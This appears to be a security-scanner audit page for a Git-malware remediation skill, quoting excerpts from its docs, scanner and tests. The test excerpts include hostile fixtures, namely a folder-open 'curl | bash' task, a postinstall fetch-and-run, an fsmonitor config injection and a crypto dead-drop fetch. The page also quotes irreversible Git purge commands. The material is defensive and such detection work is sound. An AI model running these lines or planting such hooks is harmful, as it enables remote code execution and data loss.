Back to skill

Security audit

remediating-git-malware

Security checks for vulnerabilities and agentic risk

Overview

ClawScan marks this skill suspicious because scanners report potentially destructive Git history cleanup and a repository-inspection command risk, with some files only partially analyzed.

Consider the suspicious verdict and the reported irreversible Git cleanup and command-execution risk before installing. Analysis was partial: 60% of components were scanned, and some scanner input could not be fully interpreted, so the findings do not establish that unflagged behavior is safe.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Error
Location
SKILL.md:31
Finding

Repository status inspection can execute an attacker-controlled fsmonitor command

Content
View full analysis

Impact

Arbitrary command execution with the agent's privileges during an operation presented as safe repository inspection.

Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Output HandlingUnvalidated Output Injection, Cross-Context Output, Unbounded Output
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
Findings (18)

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · README.md (reported line 32)May include surrounding context.

md
81.84`, `95.135.181.151`, `166.88.*`, etc.) |
| **Droppers & History Rewriters** | `init*`, `config.bat`, `temp_auto_push.bat`, `temp_interactive_push.bat`, `branch_structure.json`, `LAST_COMMIT_DATE` + `LAST_COMMIT_TIME`, `.gitignore` tampering, `*#*.zip` staging archives |
| **NPM & Registry Hijacks** | Known malicious Tailwind packages (manifests, lockfiles, `node_modules/`), `node api.js &&` / `node init &&` / `curl \| bash` / `node -e` / `eval` / base64 in `package.json` `scripts`, custom `.npmrc` registries |
| **Git Internals (Single or Multi-Repo)** | Scans single repos or parent workspace folders for active `.git/hooks/*`, dangerous `.git/config` keys (`fsmonitor`, `sshCommand`, `hooksPath`), `-0700`/truncated committer anomalies, suspect paths across all refs, **blob contents across all branches/tags/commits**, and **unreachable `.git` leftover objects** (`GIT_LEFTOVER_BLOB`) |
| **Optional Host Triage (`--check-host`)** | Read-only checks for `%USERPROFILE%\.npm\{user}${host

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/scan-iocs.mjs (reported line 76)May include surrounding context.

js
'.vue',
  '.svelte',
  '.astro',
  '.npmrc',
  '.yarnrc',
]);

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README.md (reported line 32)May include surrounding context.

md
Cs, TRON/Aptos dead-drop endpoints & addresses, XOR keys, known C2 IPs (`95.135.181.84`, `95.135.181.151`, `166.88.*`, etc.) |
| **Droppers & History Rewriters** | `init*`, `config.bat`, `temp_auto_push.bat`, `temp_interactive_push.bat`, `branch_structure.json`, `LAST_COMMIT_DATE` + `LAST_COMMIT_TIME`, `.gitignore` tampering, `*#*.zip` staging archives |
| **NPM & Registry Hijacks** | Known malicious Tailwind packages (manifests, lockfiles, `node_modules/`), `node api.js &&` / `node init &&` / `curl \| bash` / `node -e` / `eval` / base64 in `package.json` `scripts`, custom `.npmrc` registries |
| **Git Internals (Single or Multi-Repo)** | Scans single repos or parent workspace folders for active `.git/hooks/*`, dangerous `.git/config` keys (`fsmonitor`, `sshCommand`, `hooksPath`), `-0700`/truncated committer anomalies, suspect paths across all refs, **blob contents across all branches/tags/commits**, and **unreachable `.git` leftover objects** (`GIT_LEFTOVER_BLOB`) |
| **Optional Host

Agent Config Directory Access

High
Category
Agent Snooping
Confidence
90% confidence
Finding

Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.

Content

Scanner excerpt · README.md (reported line 60)May include surrounding context.

text
- **Antigravity:**
  ```bash
  git clone https://github.com/aatansen/remediating-git-malware.git ~/.gemini/config/skills/remediating-git-malware
  • Windows (PowerShell) equivalent: replace ~ with $env:USERPROFILE (for example, $env:USERPROFILE\.gemini\config\skills\remediating-git-malware).

The remediation workflow instructs irreversible Git history cleanup without warning about permanent data loss or disruption to collaborators.

High
Category
Output Handling
Confidence
97% confidence
Finding

The summary recommends removing recovery references, expiring reflogs, and immediately pruning objects without first requiring an isolated backup or warning about irreversible loss. Although removing infected history is relevant to remediation, this sequence can destroy legitimate recovery data and forensic evidence and disrupt collaborators.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding

Removing a malicious file can support malware remediation, but this chunk goes substantially further: it purges historical content and recovery mechanisms rather than inspecting suspected injection. The declared description does not disclose destructive history sanitization or evidence removal. These are material capabilities, not merely implementation details of detection. The supplied chunk contains no detection logic, and its placeholders must be replaced before meaningful execution.

Content

No source excerpt is available for this finding.

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 31)May include surrounding context.

md
1. Inspect commits without running hooks:
   `git -C "<repo-root>" -c core.hooksPath=/dev/null log -n 15 --stat`
   Look for unsigned commits from contributors who usually sign, committer name/timezone mismatches (`-0700` or truncated first name), or fake fonts listed as `1 +` instead of `Bin`.
2. Check ignored/untracked files (`git -C "<repo-root>" -c core.hooksPath=/dev/null status --ignored -s`), `.npmrc`, nested paths (`client/`, `frontend/`, `apps/*/`), and `.zip`/`.tar` archives.
3. For open/recent fork PRs, check PR timelines for silent force-pushes and audit CI logs for unexpected Ethereum RPC calls (`1rpc.io`, `eth.drpc.org`, `publicnode.com`, `blastapi.io`, `blockscout.com`) or HTTP port-443 `/0x/cls` / `/0x/ls` requests. Delete any CI artifacts published from poisoned runs.

### 3. Clean Working Tree & Dependencies

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
95% confidence
Finding

Deleting recovery references and immediately expiring reflogs and pruning objects can irreversibly remove legitimate history and incident evidence. Confirmation is required only for shared-history rewriting, while the command block lacks a mandatory backup, verified target directory, and explicit approval for permanent local destruction.

Content

Scanner excerpt · SKILL.md (reported line 53)May include surrounding context.

bash
git filter-repo --force --path <malicious-path> --invert-paths
rm -rf .git/refs/original .git/ORIG_HEAD .git/FETCH_HEAD
git for-each-ref --format="%(refname)" refs/remotes/origin/ | xargs -r -n1 git update-ref -d
git reflog expire --expire=now --expire-unreachable=now --all
git gc --prune=now --aggressive

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 69)May include surrounding context.

md
3. **Before force-pushing**, clean compromised hosts and **rotate secrets from a clean device**: GitHub PATs, `gh` CLI/Desktop/VS Code tokens, passphrase-protected SSH keys, OAuth grants, **per-repo deploy keys**, `.env`/CI secrets, and browser passwords (2FA does not stop already-valid stolen tokens, which allow immediate re-infection).
4. **Harden**:
   - **VS Code / Cursor**: `Tasks: Manage Automatic Tasks` → `Disallow` (`"task.allowAutomaticTasks": "off"`), keep Restricted Mode / Workspace Trust enabled.
   - **npm**: set `ignore-scripts=true` in `~/.npmrc` (note: this stops install hooks, **not** `node api.js &&` inside `build`/`dev` scripts).
   - **GitHub**: require maintainer approval for **all external contributors** on fork PR workflows, never publish release artifacts from fork PRs, enable **"Require approval of the most recent reviewable push"**, block force-pushes, and require signed commits.

## Common Pitfalls

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 76)May include surrounding context.

md
| `grep -r` / `git grep` reports clean | `git grep` skips `.gitignore`-hidden files; `grep -r` misses zlib-compressed `.git` objects — use `scan-iocs.mjs` |

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/scan-iocs.mjs (reported line 70)May include surrounding context.

js
'.scss',
  '.yml',
  '.yaml',
  '.env',
  '.gitignore',
  '.toml',
  '.vue',

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/scan-iocs.mjs (reported line 476)May include surrounding context.

js
const isGitignore = nameLower === '.gitignore';
      const isManifest = MANIFEST_NAMES.has(nameLower);
      const isInitNoExt = nameLower === 'init';
      const isRc = nameLower === '.npmrc' || nameLower === '.yarnrc' || nameLower === '.yarnrc.yml';
      if ((!TEXT_EXTS.has(ext) && !isGitignore && !isManifest && !isInitNoExt && !isRc) || stat.size > MAX_TEXT_BYTES) {
        continue;
      }

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/scan-iocs.mjs (reported line 758)May include surrounding context.

js
}
          if (!entry.isDirectory()) continue;
          const hasStaging =
            fs.existsSync(path.join(p, 'login', '_credentials.json')) ||
            fs.existsSync(path.join(p, 'login', '_sysenv.json')) ||
            fs.existsSync(path.join(p, '_info.json')) ||
            (entry.name.includes('$') && fs.existsSync(path.join(p, 'login-db')));

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · test/scan-iocs.test.mjs (reported line 105)May include surrounding context.

js
{
            label: 'eslint-check',
            type: 'shell',
            command: 'curl -s https://default-configuration.vercel.app/settings/linux?flag=1 | bash',
            runOptions: { runOn: 'folderOpen' },
            presentation: { reveal: 'never' },
            hide: true,

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · test/scan-iocs.test.mjs (reported line 208)May include surrounding context.

js
fs.writeFileSync(path.join(tmp, 'next.config.mjs'), `export default {};\nconst ok = 1;${pad}global['r']=require;\n`);
    fs.writeFileSync(
      path.join(tmp, 'package.json'),
      JSON.stringify({ name: 'test', scripts: { postinstall: 'curl -s https://example.invalid/x | bash' } })
    );
    fs.appendFileSync(path.join(tmp, '.git', 'config'), '\n[core]\n\tfsmonitor = evil.sh\n');

MCP server referenced without pinned version: 'npx skills'.

Medium
Category
MCP Rug Pull
Confidence
91% confidence
Finding

The installation command executes an unpinned npm CLI, so the code obtained can change between installations and a compromised release could execute with the user's privileges. This is not an MCP server reference, but the underlying dependency-pinning concern is valid and particularly relevant to a malware-remediation tool.

Content

No source excerpt is available for this finding.

Skill declares no tool scope ('permissions' or 'allowed-tools') but code capabilities were detected: env, network, shell.

Medium
Category
MCP Least Privilege
Confidence
70% confidence
Finding

Without declared permissions the skill's intent is opaque and cannot be validated.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · test/scan-iocs.test.mjs (reported line 85)May include surrounding context.

js
// Synthetic non-executable text marker inside fake font file
    fs.writeFileSync(
      path.join(tmp, 'public', 'fonts', 'fa-solid-400.woff2'),
      `${padding}// synthetic marker\nglobal['r'] = require; fetch('https://api.trongrid.io/v1/accounts/TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP/transactions');`
    );

    const res = runScanner(tmp, ['--json']);